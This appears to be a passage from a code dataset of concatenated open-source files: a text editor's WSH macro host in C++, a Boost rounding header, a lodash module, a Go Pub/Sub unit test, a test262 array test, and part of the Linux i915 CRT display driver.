(LPARAM)GSTR_APPNAME);\n\t\t::SendMessage(GetDlgItem(hwndDlg, IDC_STATIC_CMD),\n\t\t\tWM_SETTEXT, 0, (LPARAM)pParam->view->GetDocument()->m_cDocFile.GetFilePath());\n\t\t\n\t\tbool bCanceled = false;\n\t\tfor(;;){\n\t\t\tDWORD dwResult = MsgWaitForMultipleObjects( 1, &pParam->hEvent, FALSE, INFINITE, QS_ALLINPUT );\n\t\t\tif(dwResult == WAIT_OBJECT_0){\n\t\t\t\t::SendMessage( cDlgCancel.GetHwnd(), WM_CLOSE, 0, 0 );\n\t\t\t}else if(dwResult == WAIT_OBJECT_0+1){\n\t\t\t\twhile(::PeekMessage(&msg , NULL , 0 , 0, PM_REMOVE )){\n\t\t\t\t\tif(cDlgCancel.GetHwnd() != NULL && ::IsDialogMessage(cDlgCancel.GetHwnd(), &msg)){\n\t\t\t\t\t}else{\n\t\t\t\t\t\t::TranslateMessage(&msg);\n\t\t\t\t\t\t::DispatchMessage(&msg);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\t//MsgWaitForMultipleObjectsに与えたハンドルのエラー\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif(!bCanceled && cDlgCancel.IsCanceled()){\n\t\t\t\tDEBUG_TRACE(L\"Canceld\\n\");\n\t\t\t\tbCanceled = true;\n\t\t\t\tcDlgCancel.CloseDialog( 0 );\n\t\t\t}\n\t\t\tif(cDlgCancel.GetHwnd() == NULL){\n\t\t\t\tDEBUG_TRACE(L\"Close\\n\");\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tDEBUG_TRACE(L\"AbortMacro: Try Interrupt\\n\");\n\t\tpParam->pEngine->InterruptScriptThread(SCRIPTTHREADID_BASE, NULL, 0);\n\t\tDEBUG_TRACE(L\"AbortMacro: Done\\n\");\n\t}\n\n\tDEBUG_TRACE(L\"AbortMacro: Exit\\n\");\n\treturn 0;\n}\n\nbool CWSHClient::Execute(const wchar_t *AScript)\n{\n\tbool bRet = false;\n\tIActiveScriptParse *Parser;\n\tif(m_Engine->QueryInterface(IID_IActiveScriptParse, reinterpret_cast<void **>(&Parser)) != S_OK)\n\t\tError(LS(STR_ERR_CWSH04));\n\telse \n\t{\n\t\tif(Parser->InitNew() != S_OK)\n\t\t\tError(LS(STR_ERR_CWSH05));\n\t\telse\n\t\t{\n\t\t\tbool bAddNamedItemError = false;\n\n\t\t\tfor( ListIter it = m_IfObjArr.begin(); it != m_IfObjArr.end(); it++ )\n\t\t\t{\n\t\t\t\tDWORD dwFlag = SCRIPTITEM_ISVISIBLE;\n\n\t\t\t\tif( (*it)->IsGlobal() ){ dwFlag |= SCRIPTITEM_GLOBALMEMBERS; }\n\n\t\t\t\tif(m_Engine->AddNamedItem( (*it)->Name(), dwFlag ) != S_OK)\n\t\t\t\t{\n\t\t\t\t\tbAddNamedItemError = true;\n\t\t\t\t\tError(LS(STR_ERR_CWSH06));\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif( !bAddNamedItemError )\n\t\t\t{\n\t\t\t\t//マクロ停止スレッドの起動\n\t\t\t\tSAbortMacroParam sThreadParam;\n\t\t\t\tsThreadParam.pEngine = m_Engine;\n\t\t\t\tsThreadParam.nCancelTimer = GetDllShareData().m_Common.m_sMacro.m_nMacroCancelTimer;\n\t\t\t\tsThreadParam.view = (CEditView*)m_Data;\n\n\t\t\t\tHANDLE hThread = NULL;\n\t\t\t\tunsigned int nThreadId = 0;\n\t\t\t\tif( 0 < sThreadParam.nCancelTimer ){\n\t\t\t\t\tsThreadParam.hEvent = ::CreateEvent(NULL, TRUE, FALSE, NULL);\n\t\t\t\t\thThread = (HANDLE)_beginthreadex( NULL, 0, AbortMacroProc, (LPVOID)&sThreadParam, 0, &nThreadId );\n\t\t\t\t\tDEBUG_TRACE(L\"Start AbortMacroProc 0x%08x\\n\", nThreadId);\n\t\t\t\t}\n\n\t\t\t\t//マクロ実行\n\t\t\t\tif(m_Engine->SetScriptState(SCRIPTSTATE_STARTED) != S_OK)\n\t\t\t\t\tError(LS(STR_ERR_CWSH07));\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tHRESULT hr = Parser->ParseScriptText(AScript, 0, 0, 0, 0, 0, SCRIPTTEXT_ISVISIBLE, 0, 0);\n\t\t\t\t\tif (hr == SCRIPT_E_REPORTED) {\n\t\t\t\t\t/*\n\t\t\t\t\t\tIActiveScriptSite->OnScriptErrorに通知済み。\n\t\t\t\t\t\t中断メッセージが既に表示されてるはず。\n\t\t\t\t\t*/\n\t\t\t\t\t} else if(hr != S_OK) {\n\t\t\t\t\t\tError(LS(STR_ERR_CWSH08));\n\t\t\t\t\t} else {\n\t\t\t\t\t\tbRet = true;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif( 0 < sThreadParam.nCancelTimer ){\n\t\t\t\t\t::SetEvent(sThreadParam.hEvent);\n\n\t\t\t\t\t//マクロ停止スレッドの終了待ち\n\t\t\t\t\tDEBUG_TRACE(L\"Waiting for AbortMacroProc to finish\\n\");\n\t\t\t\t\t::WaitForSingleObject(hThread, INFINITE); \n\t\t\t\t\t::CloseHandle(hThread);\n\t\t\t\t\t::CloseHandle(sThreadParam.hEvent);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tParser->Release();\n\t}\n\tm_Engine->Close();\n\treturn bRet;\n}\n\nvoid CWSHClient::Error(BSTR Description, BSTR Source)\n{\n\tif(m_OnError != NULL)\n\t\tm_OnError(Description, Source, m_Data);\n}\n\nvoid CWSHClient::Error(const wchar_t* Description)\n{\n\tBSTR S = SysAllocString(L\"WSH\");\n\tBSTR D = SysAllocString(Description);\n\tError(D, S);\n\tSysFreeString(S);\n\tSysFreeString(D);\n}\n\n//インタフェースオブジェクトの追加\nvoid CWSHClient::AddInterfaceObject( CIfObj* obj )\n{\n\tif( !obj ) return;\n\tm_IfObjArr.push_back( obj );\n\tobj->m_Owner = this;\n\tobj->AddRef();\n}\n\n/////////////////////////////////////////////\n/*!\n\tMacroCommand→CWSHIfObj.cppへ移動\n\tCWSHMacroManager → CWSHManager.cppへ移動\n\n*/\n"} {"text": "/* Boost interval/detail/ia64_rounding_control.hpp file\n *\n * Copyright 2006-2007 Boris Gubenko\n *\n * Distributed under the Boost Software License, Version 1.0.\n * (See accompanying file LICENSE_1_0.txt or\n * copy at http://www.boost.org/LICENSE_1_0.txt)\n */\n\n#ifndef BOOST_NUMERIC_INTERVAL_DETAIL_IA64_ROUNDING_CONTROL_HPP\n#define BOOST_NUMERIC_INTERVAL_DETAIL_IA64_ROUNDING_CONTROL_HPP\n\n#if !defined(ia64) && !defined(__ia64) && !defined(__ia64__)\n#error This header only works on ia64 CPUs.\n#endif\n\n#if defined(__hpux)\n\n# include <fenv.h>\n\nnamespace boost {\nnamespace numeric {\nnamespace interval_lib {\nnamespace detail {\n\n\n struct ia64_rounding_control\n {\n typedef unsigned int rounding_mode;\n\n static void set_rounding_mode(const rounding_mode& mode) { \nfesetround(mode); }\n static void get_rounding_mode(rounding_mode& mode) { mode = fegetround(); }\n\n static void downward() { set_rounding_mode(FE_DOWNWARD); }\n static void upward() { set_rounding_mode(FE_UPWARD); }\n static void to_nearest() { set_rounding_mode(FE_TONEAREST); }\n static void toward_zero() { set_rounding_mode(FE_TOWARDZERO); }\n };\n\n} // namespace detail\n\nextern \"C\" {\n float rintf(float);\n double rint(double);\n long double rintl(long double);\n}\n\ntemplate<>\nstruct rounding_control<float>:\n detail::ia64_rounding_control\n{\n static float force_rounding(const float r)\n { volatile float _r = r; return _r; }\n static float to_int(const float& x) { return rintf(x); }\n};\n\ntemplate<>\nstruct rounding_control<double>:\n detail::ia64_rounding_control\n{\n static const double & force_rounding(const double& r) { return r; }\n static double to_int(const double& r) { return rint(r); }\n};\n\ntemplate<>\nstruct rounding_control<long double>:\n detail::ia64_rounding_control\n{\n static const long double & force_rounding(const long double& r) { return r; }\n static long double to_int(const long double& r) { return rintl(r); }\n};\n\n} // namespace interval_lib\n} // namespace numeric\n} // namespace boost\n\n#undef BOOST_NUMERIC_INTERVAL_NO_HARDWARE\n\n#endif /* __hpux */\n\n#endif /* BOOST_NUMERIC_INTERVAL_DETAIL_IA64_ROUNDING_CONTROL_HPP */\n\n"} {"text": "var createDefaults = require('../internal/createDefaults'),\n merge = require('./merge'),\n mergeDefaults = require('../internal/mergeDefaults');\n\n/**\n * This method is like `_.defaults` except that it recursively assigns\n * default properties.\n *\n * **Note:** This method mutates `object`.\n *\n * @static\n * @memberOf _\n * @category Object\n * @param {Object} object The destination object.\n * @param {...Object} [sources] The source objects.\n * @returns {Object} Returns `object`.\n * @example\n *\n * _.defaultsDeep({ 'user': { 'name': 'barney' } }, { 'user': { 'name': 'fred', 'age': 36 } });\n * // => { 'user': { 'name': 'barney', 'age': 36 } }\n *\n */\nvar defaultsDeep = createDefaults(merge, mergeDefaults);\n\nmodule.exports = defaultsDeep;\n"} {"text": "// Copyright 2019 Google LLC\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// https://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// [START functions_pubsub_unit_test]\n\npackage helloworld\n\nimport (\n\t\"context\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"os\"\n\t\"testing\"\n)\n\nfunc TestHelloPubSub(t *testing.T) {\n\ttests := []struct {\n\t\tdata string\n\t\twant string\n\t}{\n\t\t{want: \"Hello, World!\\n\"},\n\t\t{data: \"Go\", want: \"Hello, Go!\\n\"},\n\t}\n\tfor _, test := range tests {\n\t\tr, w, _ := os.Pipe()\n\t\tlog.SetOutput(w)\n\t\toriginalFlags := log.Flags()\n\t\tlog.SetFlags(log.Flags() &^ (log.Ldate | log.Ltime))\n\n\t\tm := PubSubMessage{\n\t\t\tData: []byte(test.data),\n\t\t}\n\t\tHelloPubSub(context.Background(), m)\n\n\t\tw.Close()\n\t\tlog.SetOutput(os.Stderr)\n\t\tlog.SetFlags(originalFlags)\n\n\t\tout, err := ioutil.ReadAll(r)\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"ReadAll: %v\", err)\n\t\t}\n\t\tif got := string(out); got != test.want {\n\t\t\tt.Errorf(\"HelloPubSub(%q) = %q, want %q\", test.data, got, test.want)\n\t\t}\n\t}\n}\n\n// [END functions_pubsub_unit_test]\n"} {"text": "/// Copyright (c) 2012 Ecma International. All rights reserved. \n/// Ecma International makes this code available under the terms and conditions set\n/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the \n/// \"Use Terms\"). Any redistribution of this code must retain the above \n/// copyright and this notice and otherwise comply with the Use Terms.\n/**\n * @path ch15/15.4/15.4.4/15.4.4.21/15.4.4.21-9-c-ii-14.js\n * @description Array.prototype.reduce - callbackfn that uses arguments\n */\n\n\nfunction testcase() {\n\n var result = false;\n function callbackfn() {\n result = (arguments[0] === 1 && arguments[3][arguments[2]] === arguments[1]);\n }\n\n [11].reduce(callbackfn, 1);\n return result;\n }\nrunTestCase(testcase);\n"} {"text": "/*\n * Copyright © 2006-2007 Intel Corporation\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the \"Software\"),\n * to deal in the Software without restriction, including without limitation\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and/or sell copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice (including the next\n * paragraph) shall be included in all copies or substantial portions of the\n * Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n * DEALINGS IN THE SOFTWARE.\n *\n * Authors:\n *\tEric Anholt <eric@anholt.net>\n */\n\n#include <linux/dmi.h>\n#include <linux/i2c.h>\n#include <linux/slab.h>\n#include \"drmP.h\"\n#include \"drm.h\"\n#include \"drm_crtc.h\"\n#include \"drm_crtc_helper.h\"\n#include \"drm_edid.h\"\n#include \"intel_drv.h\"\n#include \"i915_drm.h\"\n#include \"i915_drv.h\"\n\n/* Here's the desired hotplug mode */\n#define ADPA_HOTPLUG_BITS (ADPA_CRT_HOTPLUG_PERIOD_128 |\t\t\\\n\t\t\t ADPA_CRT_HOTPLUG_WARMUP_10MS |\t\t\\\n\t\t\t ADPA_CRT_HOTPLUG_SAMPLE_4S |\t\t\t\\\n\t\t\t ADPA_CRT_HOTPLUG_VOLTAGE_50 |\t\t\\\n\t\t\t ADPA_CRT_HOTPLUG_VOLREF_325MV |\t\t\\\n\t\t\t ADPA_CRT_HOTPLUG_ENABLE)\n\nstruct intel_crt {\n\tstruct intel_encoder base;\n\tbool force_hotplug_required;\n};\n\nstatic struct intel_crt *intel_attached_crt(struct drm_connector *connector)\n{\n\treturn container_of(intel_attached_encoder(connector),\n\t\t\t struct intel_crt, base);\n}\n\nstatic void intel_crt_dpms(struct drm_encoder *encoder, int mode)\n{\n\tstruct drm_device *dev = encoder->dev;\n\tstruct drm_i915_private *dev_priv = dev->dev_private;\n\tu32 temp, reg;\n\n\tif (HAS_PCH_SPLIT(dev))\n\t\treg = PCH_ADPA;\n\telse\n\t\treg = ADPA;\n\n\ttemp = I915_READ(reg);\n\ttemp &= ~(ADPA_HSYNC_CNTL_DISABLE | ADPA_VSYNC_CNTL_DISABLE);\n\ttemp &= ~ADPA_DAC_ENABLE;\n\n\tswitch (mode) {\n\tcase DRM_MODE_DPMS_ON:\n\t\ttemp |= ADPA_DAC_ENABLE;\n\t\tbreak;\n\tcase DRM_MODE_DPMS_STANDBY:\n\t\ttemp |= ADPA_DAC_ENABLE | ADPA_HSYNC_CNTL_DISABLE;\n\t\tbreak;\n\tcase DRM_MODE_DPMS_SUSPEND:\n\t\ttemp |= ADPA_DAC_ENABLE | ADPA_VSYNC_CNTL_DISABLE;\n\t\tbreak;\n\tcase DRM_MODE_DPMS_OFF:\n\t\ttemp |= ADPA_HSYNC_CNTL_DISABLE | ADPA_VSYNC_CNTL_DISABLE;\n\t\tbreak;\n\t}\n\n\tI915_WRITE(reg, temp);\n}\n\nstatic int intel_crt_mode_valid(struct drm_connector *connector,\n\t\t\t\tstruct drm_display_mode *mode)\n{\n\tstruct drm_device *dev = connector->dev;\n\n\tint max_clock = 0;\n\tif (mode->flags & DRM_MODE_FLAG_DBLSCAN)\n\t\treturn MODE_NO_DBLESCAN;\n\n\tif (mode->clock < 25000)\n\t\treturn MODE_CLOCK_LOW;\n\n\tif (IS_GEN2(dev))\n\t\tmax_clock = 350000;\n\telse\n\t\tmax_clock = 400000;\n\tif (mode->clock > max_clock)\n\t\treturn MODE_CLOCK_HIGH;\n\n\treturn MODE_OK;\n}\n\nstatic bool intel_crt_mode_fixup(struct drm_encoder *encoder,\n\t\t\t\t struct drm_display_mode *mode,\n\t\t\t\t struct drm_display_mode *adjusted_mode)\n{\n\treturn true;\n}\n\nstatic void intel_crt_mode_set(struct drm_encoder *encoder,\n\t\t\t struct drm_display_mode *mode,\n\t\t\t struct drm_display_mode *adjusted_mode)\n{\n\n\tstruct drm_device *dev = encoder->dev;\n\tstruct drm_crtc *crtc = encoder->crtc;\n\tstruct intel_crtc *intel_crtc = to_intel_crtc(crtc);\n\tstruct drm_i915_private *dev_priv = dev->dev_private;\n\tint dpll_md_reg;\n\tu32 adpa, dpll_md;\n\tu32 adpa_reg;\n\n\tdpll_md_reg = DPLL_MD(intel_crtc->pipe);\n\n\tif (HAS_PCH_SPLIT(dev))\n\t\tadpa_reg = PCH_ADPA;\n\telse\n\t\tadpa_reg = ADPA;\n\n\t/*\n\t * Disable separate mode multiplier used when cloning SDVO to CRT\n\t * XXX this needs to be adjusted when we really are cloning\n\t */\n\tif (INTEL_INFO(dev)->gen >= 4 && !HAS_PCH_SPLIT(dev)) {\n\t\tdpll_md = I915_READ(dpll_md_reg);\n\t\tI915_WRITE(dpll_md_reg,\n\t\t\t dpll_md & ~DPLL_MD_UDI_MULTIPLIER_MASK);\n\t}\n\n\tadpa = ADPA_HOTPLUG_BITS;\n\tif (adjusted_mode->flags & DRM_MODE_FLAG_PHSYNC)\n\t\tadpa |= ADPA_HSYNC_ACTIVE_HIGH;\n\tif (adjusted_mode->flags & DRM_MODE_FLAG_PVSYNC)\n\t\tadpa |= ADPA_VSYNC_ACTIVE_HIGH;\n\n\t/* For CPT allow 3 pipe config, for others just use A or B */\n\tif (HAS_PCH_CPT(dev))\n\t\tadpa |= PORT_TRANS_SEL_CPT(intel_crtc->pipe);\n\telse if (intel_crtc->pipe == 0)\n\t\tadpa |= ADPA_PIPE_A_SELECT;\n\telse\n\t\tadpa |= ADPA_PIPE_B_SELECT;\n\n\tif (!HAS_PCH_SPLIT(dev))\n\t\tI915_WRITE(BCLRPAT(intel_crtc->pipe), 0);\n\n\tI915_WRITE(adpa_reg, adpa);\n}\n\nstatic bool intel_ironlake_crt_detect_hotplug(struct drm_connector *connector)\n{\n\tstruct drm_device *dev = connector->dev;\n\tstruct intel_crt *crt = intel_attached_crt(connector);\n\tstruct drm_i915_private *dev_priv = dev->dev_private;\n\tu32 adpa;\n\tbool ret;\n\n\t/* The first time through, trigger an explicit detection cycle */\n\tif (crt->force_hotplug_required) {\n\t\tbool turn_off_dac = HAS_PCH_SPLIT(dev);\n\t\tu32 save_adpa;\n\n\t\tcrt->force_hotplug_required = 0;\n\n\t\tsave_adpa = adpa = I915_READ(PCH_ADPA);\n\t\tDRM_DEBUG_KMS(\"trigger hotplug detect cycle: adpa=0x%x\\n\", adpa);\n\n\t\tadpa |= ADPA_CRT_HOTPLUG_FORCE_TRIGGER;\n\t\tif (turn_off_dac)\n\t\t\tadpa &= ~ADPA_DAC_ENABLE;\n\n\t\tI915_WRITE(PCH_ADPA, adpa);\n\n\t\tif (wait_for((I915_READ(PCH_ADPA) & ADPA_CRT_HOTPLUG_FORCE_TRIGGER) == 0,\n\t\t\t 1000))\n\t\t\tDRM_DEBUG_KMS(\"timed out waiting for FORCE_TRIGGER\");\n\n\t\tif (turn_off_dac) {\n\t\t\tI915_WRITE(PCH_ADPA, save_adpa);\n\t\t\tPOSTING_READ(PCH_ADPA);\n\t\t}\n\t}\n\n\t/* Check the status to see if both blue and green are on now */\n\tadpa = I915_READ(PCH_ADPA);\n\tif ((adpa & ADPA_CRT_HOTPLUG_MONITOR_MASK) != 0)\n\t\tret = true;\n\telse\n\t\tret = false;\n\tDRM_DEBUG_KMS(\"ironlake hotplug adpa=0x%x, result %d\\n\", adpa, ret);\n\n\treturn ret;\n}\n\n/**\n * Uses CRT_HOTPLUG_EN and CRT_HOTPLUG_STAT to detect CRT presence.\n *\n * Not for i915G/i915GM\n *\n * \\return true if CRT is connected.\n * \\return false if CRT is disconnected.\n */\nstatic bool intel_crt_detect_hotplug(struct drm_connector *connector)\n{\n\tstruct drm_device *dev = connector->dev;\n\tstruct drm_i915_private *dev_priv = dev->dev_private;\n\tu32 hotplug_en, orig, stat;\n\tbool ret = false;\n\tint i, tries = 0;\n\n\tif (HAS_PCH_SPLIT(dev))\n\t\treturn intel_ironlake_crt_detect_hotplug(connector);\n\n\t/*\n\t * On 4 series desktop, CRT detect sequence need to be done twice\n\t * to get a reliable result.\n\t */\n\n\tif (IS_G4X(dev) && !IS_GM45(dev))\n\t\ttries = 2;\n\telse\n\t\ttries = 1;\n\thotplug_en = orig = I915_READ(PORT_HOTPLUG_EN);\n\thotplug_en |= CRT_HOTPLUG_FORCE_DETECT;\n\n\tfor (i = 0; i < tries ; i++) {\n\t\t/* turn on the FORCE_DETECT */\n\t\tI915_WRITE(PORT_HOTPLUG_EN, hotplug_en);\n\t\t/* wait for FORCE_DETECT to go off */\n\t\tif (wait_for((I915_READ(PORT_HOTPLUG_EN) &\n\t\t\t CRT_HOTPLUG_FORCE_DETECT) == 0,\n\t\t\t 1000))\n\t\t\tDRM_DEBUG_KMS(\"timed out waiting for FORCE_DETECT to go off\");\n\t}\n\n\tstat = I915_READ(PORT_HOTPLUG_STAT);\n\tif ((stat & CRT_HOTPLUG_MONITOR_MASK) != CRT_HOTPLUG_MONITOR_NONE)\n\t\tret = true;\n\n\t/* clear the interrupt we just generated, if any */\n\tI915_WRITE(PORT_HOTPLUG_STAT, CRT_HOTPLUG_INT_STATUS);\n\n\t/* and put the bits back */\n\tI915_WRITE(PORT_HOTPLUG_EN, orig);\n\n\treturn ret;\n}\n\nstatic struct edid *intel_crt_get_edid(struct drm_connector *connector,\n\t\t\t\tstruct i2c_adapter *i2c)\n{\n\tstruct edid *edid;\n\n\tedid = drm_get_edid(connector, i2c);\n\n\tif (!edid && !intel_gmbus_is_forced_bit(i2c)) {\n\t\tDRM_DEBUG_KMS(\"CRT GMBUS EDID read failed, retry using GPIO bit-banging\\n\");\n\t\tintel_gmbus_force_bit(i2c, true);\n\t\tedid = drm_get_edid(connector, i2c);\n\t\tintel_gmbus_force_bit(i2c, false);\n\t}\n\n\treturn edid;\n}\n\n/* local version of intel_ddc_get_modes() to use intel_crt_get_edid() */\nstatic int intel_crt_ddc_get_modes(struct drm_connector *connector,\n\t\t\t\tstruct i2c_adapter *adapter)\n{\n\tstruct edid *edid;\n\n\tedid = intel_crt_get_edid(connector, adapter);\n\tif (!edid)\n\t\treturn 0;\n\n\treturn intel_connector_update_modes(connector, edid);\n}\n\nstatic bool intel_crt_detect_ddc(struct drm_connector *connector)\n{\n\tstruct intel_crt *crt = intel_attached_crt(connector);\n\tstruct drm_i915_private *dev_priv = crt->base.base.dev->dev_private;\n\n\t/* CRT should always be at 0, but check anyway */\n\tif (crt->base.type != INTEL_OUTPUT_ANALOG)\n\t\treturn false;\n\n\tif (intel_ddc_probe(&crt->base, dev_priv->crt_ddc_pin)) {\n\t\tstruct edid *edid;\n\t\tbool is_digital = false;\n\n\t\tedid = intel_crt_get_edid(connector,\n\t\t\t&dev_priv->gmbus[dev_priv->crt_ddc_pin].adapter);\n\t\t/*\n\t\t * This may be a DVI-I connector with a shared DDC\n\t\t * link between analog and digital outputs, so we\n\t\t * have to check the EDID input spec of the attached device.\n\t\t *\n\t\t * On the other hand, what should we do if it is a broken EDID?\n\t\t */\n\t\tif (edid != NULL) {\n\t\t\tis_digital = edid->input & DRM_EDID_INPUT_DIGITAL;\n\t\t\tconnector->display_info.raw_edid = NULL;\n\t\t\tkfree(edid);\n\t\t}\n\n\t\tif (!is_digital) {\n\t\t\tDRM_DEBUG_KMS(\"CRT detected via DDC:0x50 [EDID]\\n\");\n\t\t\treturn true;\n\t\t} else {\n\t\t\tDRM_DEBUG_KMS(\"CRT not detected via DDC:0x50 [EDID reports a digital panel]\\n\");\n\t\t}\n\t}\n\n\treturn false;\n}\n\nstatic enum drm_connector_status\nintel_crt_load_detect(struct intel_crt *crt)\n{\n\tstruct drm_device *dev = crt->base.base.dev;\n\tstruct drm_i915_private *dev_priv = dev->dev_private;\n\tuint32_t pipe = to_intel_crtc(crt->base.base.crtc)->pipe;\n\tuint32_t save_bclrpat;\n\tuint32_t save_vtotal;\n\tuint32_t vtotal, vactive;\n\tuint32_t vsample;\n\tuint32_t vblank, vblank_start, vblank_end;\n\tuint32_t dsl;\n\tuint32_t bclrpat_reg;\n\tuint32_t vtotal_reg;\n\tuint32_t vblank_reg;\n\tuint32_t vsync_reg;\n\tuint32_t pipeconf_reg;\n\tuint32_t pipe_dsl_reg;\n\tuint8_t\tst00;\n\tenum drm_connector_status status;\n\n\tDRM_DEBUG_KMS(\"starting load-detect on CRT\\n\");\n\n\tbclrpat_reg = BCLRPAT(pipe);\n\tvtotal_reg = VTOTAL(pipe);\n\tvblank_reg = VBLANK(pipe);\n\tvsync_reg = VSYNC(pipe);\n\tpipeconf_reg = PIPECONF(pipe);\n\tpipe_dsl_reg = PIPEDSL(pipe);\n\n\tsave_bclrpat = I915_READ(bclrpat_reg);\n\tsave_vtotal = I915_READ(vtotal_reg);\n\tvblank = I915_READ(vblank_reg);\n\n\tvtotal = ((save_vtotal >> 16) & 0xfff) + 1;\n\tvactive = (save_vtotal & 0x7ff) + 1;\n\n\tvblank_start = (vblank & 0xfff) + 1;\n\tvblank_end = ((vblank >> 16) & 0xfff) + 1;\n\n\t/* Set the border color to purple. */\n\tI915_WRITE(bclrpat_reg, 0x500050);\n\n\tif (!IS_GEN2(dev)) {\n\t\tuint32_t pipeconf = I915_READ(pipeconf_reg);\n\t\tI915_WRITE(pipeconf_reg, pipeconf | PIPECONF_FORCE_BORDER);\n\t\tPOSTING_READ(pipeconf_reg);\n\t\t/* Wait for next Vblank to substitue\n\t\t * border color for Color info */\n\t\tintel_wait_for_vblank(dev, pipe);\n\t\tst00 = I915_READ8(VGA_MSR_WRITE);\n\t\tstatus = ((st00 & (1 << 4)) != 0) ?\n\t\t\tconnector_status_connected :\n\t\t\tconnector_status_disconnected;\n\n\t\tI915_WRITE(pipeconf_reg, pipeconf);\n\t} else {\n\t\tbool restore_vblank = false;\n\t\tint count, detect;\n\n\t\t/*\n\t\t* If there isn't any border, add some.\n\t\t* Yes, this will flicker\n\t\t*/\n\t\tif (vblank_start <= vactive && vblank_end >= vtotal) {\n\t\t\tuint32_t vsync = I915_READ(vsync_reg);\n\t\t\tuint32_t vsync_start = (vsync & 0xffff) + 1;\n\n\t\t\tvblank_start = vsync_start;\n\t\t\tI915_WRITE(vblank_reg,\n\t\t\t\t (vblank_start - 1) |\n\t\t\t\t ((vblank_end - 1) << 16));\n\t\t\trestore_vblank = true;\n\t\t}\n\t\t/* sample in the vertical border, selecting the larger one */\n\t\tif (vblank_start - vactive >= vtotal - vblank_end)\n\t\t\tvsample = (vblank_start + vactive) >> 1;\n\t\telse\n\t\t\tvsample = (vtotal + vblank_end) >> 1;\n\n\t\t/*\n\t\t * Wait for the border to be displayed\n\t\t */\n\t\twhile (I915_READ(pipe_dsl_reg) >= vactive)\n\t\t\t;\n\t\twhile ((dsl = I915_READ(pipe_dsl_reg)) <= vsample)\n\t\t\t;\n\t\t/*\n\t\t * Watch ST00 for an entire scanline\n\t\t */\n\t\tdetect = 0;\n\t\tcount = 0;\n\t\tdo {\n\t\t\tcount++;\n\t\t\t/* Read the ST00 VGA status register */\n\t\t\tst00 = I915_READ8(VGA_MSR_WRITE);\n\t\t\tif (st00 & (1 << 4))\n\t\t\t\tdetect++;\n\t\t} while ((I915_READ(pipe_dsl_reg) == dsl));\n\n\t\t/* restore vblank if necessary */\n\t\tif (restore_vblank)\n\t\t\tI915_WRITE(vblank_reg, vblank);\n\t\t/*\n\t\t * If more than 3/4 of the scanline detected a monitor,\n\t\t * then it is assumed to be present. This works even on i830,\n\t\t * where there isn't any way to force the border color across\n\t\t * the screen\n\t\t */\n\t\tstatus = detect * 4 > count * 3 ?\n\t\t\t connector_status_connected :\n\t\t\t connector_status_disconnected;\n\t}\n\n\t/* Restore previous settings */\n\tI915_WRITE(bclrpat_reg, save_bclrpat);\n\n\treturn status;\n}\n\nstatic enum drm_connector_status\nintel_crt_detect(struct drm_connector *connector, bool force)\n{\n\tstruct drm_device *dev = connector->dev;\n\tstruct intel_crt *crt = intel_attached_crt(connector);\n\tenum drm_connector_status status;\n\tstruct intel_load_detect_pipe tmp;\n\n\tif (I915_HAS_HOTPLUG(dev)) {\n\t\tif (intel_crt_detect_hotplug(connector)) {\n\t\t\tDRM_DEBUG_KMS(\"CRT detected via hotplug\\n\");\n\t\t\treturn connector_status_connected;\n\t\t} else {\n\t\t\tDRM_DEBUG_KMS(\"CRT not detected via hotplug\\n\");\n\t\t\treturn connector_status_disconnected;\n\t\t}\n\t}\n\n\tif (intel_crt_detect_ddc(connector))\n\t\treturn connector_status_connected;\n\n\tif (!force)\n\t\treturn connector->status;\n\n\t/* for pre-945g platforms use load detect */\n\tif (intel_get_load_detect_pipe(&crt->base, connector, NULL,\n\t\t\t\t &tmp)) {\n\t\tif (intel_crt_detect_ddc(connector))\n\t\t\tstatus = connector_status_connected;\n\t\telse\n\t\t\tstatus = intel_crt_load_detect(crt);\n\t\tintel_release_load_detect_pipe(&crt->base, connector,\n\t\t\t\t\t &tmp);\n\t} else\n\t\tstatus = connector_status_unknown;\n\n\treturn status;\n}\n\nstatic void intel_crt_destroy(struct drm_connector *connector)\n{\n\tdrm_sysfs_connector_remove(connector);\n\tdrm_connector_cleanup(connector);\n\tkfree(connector);\n}\n\nstatic int intel_crt_get_modes(struct drm_connector *connector)\n{\n\tstruct drm_device *dev = connector->dev;\n\tstruct drm_i915_private *dev_priv = dev->dev_private;\n\tint ret;\n\n\tret = intel_crt_ddc_get_modes(connector,\n\t\t\t\t &dev_priv->gmbus[dev_priv->crt_ddc_pin].adapter);\n\tif (ret || !IS_G4X(dev))\n\t\treturn ret;\n\n\t/* Try to probe digital port for output in DVI-I -> VGA mode. */\n\treturn intel_crt_ddc_get_modes(connector,\n\t\t\t\t &dev_priv->gmbus[GMBUS_PORT_DPB].adapter);\n}\n\nstatic int intel_crt_set_property(struct drm_connector 